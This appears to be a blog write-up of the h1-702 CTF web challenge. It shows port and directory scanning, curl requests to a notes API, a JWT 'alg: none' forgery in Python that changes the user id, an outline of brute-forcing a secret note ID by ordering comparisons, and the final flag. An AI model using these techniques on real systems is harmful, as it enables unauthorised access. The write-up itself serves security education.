h1–702 CTF — Web Challenge Write Up

nmap -sT 159.203.178.9 -p1-65535
python3 dirsearch.py -u http://159.203.178.9/ -t 50 -w content_discovery_all.txt -e 'php,'
  1. /README.html
  2. /rpc.php

Digging deeper

  • Query the metadata of all the notes
  • Retrieve a note
  • Create a new note
  • Delete all notes

createNote()

curl 'http://159.203.178.9/rpc.php?method=createNote' 
-H 'Content-Type: application/json'
-H 'Authorization: eiOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
-d '{"note": "This is my note"}'
{"url":"\/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6"}
curl 'http://159.203.178.9/rpc.php?method=createNote' 
-H 'Content-Type: application/json'
-H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
-d '{"id":"test", "note": "This is my note"}'
{"url":"\/rpc.php?method=getNote&id=test"}

getNote()

curl 'http://159.203.178.9/rpc.php?method=getNote&id=6e7c032c148eae33a142c754905c5fb6' 
-H 'Content-Type: application/json'
-H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
{"note":"This is my note","epoch":"1530279830"}

getNotesMetadata()

curl 'http://159.203.178.9/rpc.php?method=getNotesMetadata' 
-H 'Content-Type: application/json'
-H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
{"count":1,"epochs":["1530279830"]} 
{"count":4,"epochs":["1530279830","1530281119","1530281120","1530281121"]}
curl 'http://159.203.178.9/rpc.php?method=resetNotes' 
-H 'Content-Type: application/json'
-H 'Authorization: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpZCI6Mn0.t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak'
-H 'Accept: application/notes.api.v1+json'
-d '{"note": "This is my note"}'
{"reset": true}

Back to digging again

  • Creating a note gives a url that contains the ID as the id parameter.
  • Getting the contents of a note gives note (the note contents) and epoch (the timestamp).
  • Getting the metadata of the notes also seems to respond as before.
  • Resetting the notes, well, resets everything back to the initial state.
  1. create(id) will create a note with the specified ID.
  2. epochs() will give you the list of epochs
  3. reset() will reset the notes and restore the initial state.

Enter JWT!

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
eyJpZCI6Mn0.
t4M7We66pxjMgRNGg1RvOmWT6rLtA8ZwJeNP-S8pVak
key           = 'secretkey' 
unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload)
signature = HMAC-SHA256(key, unsignedToken)
$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9' | base64 -D {"typ":"JWT","alg":"HS256"}
$ echo 'eyJpZCI6Mn0=' | base64 -D 
{"id":2}
JWT Debugger at jwt.io
  1. Change the header to {"alg": "none"} instead of HS256.
  2. Change the payload to {"id": 1}.
  3. Use an empty signature ''.
In [1]: import jwt 
In [2]: encoded = jwt.encode({"id": 1}, '', algorithm='none')
In [3]: encoded
Out[3]: 'eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6MX0.'

The breakthrough

['00', '000', '01', '001', '09', '0Z', '0a', '0z', 'A', 'A9', 'AA', 'AZ', 'Az', '<secret>', 'Z', 'ZZ', '0', 'a', 'a0', 'a1', 'a9', 'aZ', 'aa', 'ab', 'az', 'b', 'c', 'z', 'zz', '1', '9', '99']
  • ab < abc < ac
  • ab < abc
  • a9b < 0z
  • a < aa
  • aa < aaa
  • and so on …

The bruteforcing

  • ID has to match the following regex [a-zA-Z0-9]+.
  • ID can be longer than 16 bytes.
  • We need to create new notes with arbitrary IDs and infer whether our secret note is before or after that.
  • We can only use comparison operators.
  • The search space is already known — [a-zA-Z0-9]+.
python3 brute_secret_note.py

How it works

702-CTF-FLAG: NP26nDOI6H5ASemAOW6g

Script in action — Video

Video showing the execution of the bruteforcing script

--

--

--

Interested in technology.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

The One Minute Retrospective

How to take high quality screenshots of the Azure portal

Many Hammers, Many Nails

Image recommendation engine — leverage transfert learning

Baloney detection kit in software development

Sailing uncharted waters with Spinnaker

E2E DevOps for Azure SQL with Managed Identities

Images on the Web: Part 1 — Responsive Images

Person looking at wall crowded with framed drawings

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Amal Murali

Amal Murali

Interested in technology.

More from Medium

HTB — Love

Web Exploitation picoCTF: login

CTF Write-up on Cloudsek’s 2022 Earn While You Learn Program(EWYL-2021) selection Challenge.

TryHackMe: Snort Challenge — Live Attacks